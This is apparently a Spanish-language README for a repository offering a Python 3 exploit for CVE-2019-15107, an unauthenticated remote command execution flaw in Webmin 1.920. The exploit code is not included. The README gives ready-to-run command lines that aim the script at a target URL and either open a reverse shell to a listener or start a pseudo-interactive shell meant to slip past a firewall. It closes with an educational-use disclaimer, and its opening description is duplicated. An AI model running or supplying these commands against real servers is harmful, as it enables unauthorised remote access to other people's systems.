CVE-2019-15107 Webmin 1.920 Ejecución Remota de Comandos Sin Autenticación

Un script de python3 para la ejecución remota de comandos sin autenticación en Webmin 1.920 (CVE-2019-15107) que crea una shell reversa o una shell pseudo interactiva usando mkfifo para evadir el firewall. Un script de python3 para la ejecución remota de comandos sin autenticación en Webmin 1.920 (CVE-2019-15107) que crea una shell reversa o una shell pseudo interactiva usando mkfifo para evadir el firewall.

Comenzando

Ejecutando el programa

• Con python3

python3 webmin.py -t https://webmin.site/ -lhost 127.0.0.1 -lport 9001

• Para shell directa con evasión de firewall

python3 webmin.py -t https://webmin.site/ -fs

Ayuda

Para ver el menú de ayuda:

python3 webmin.py -h

Aviso legal

Todo el código proporcionado en este repositorio es únicamente con fines educativos/de investigación. Cualquier acción y/o actividad relacionada con el material contenido en este repositorio es de su exclusiva responsabilidad. El mal uso del código en este repositorio puede dar lugar a cargos penales contra las personas en cuestión. El autor no será considerado responsable en caso de que se presenten cargos penales contra cualquier persona que haga un mal uso del código de este repositorio para infringir la ley.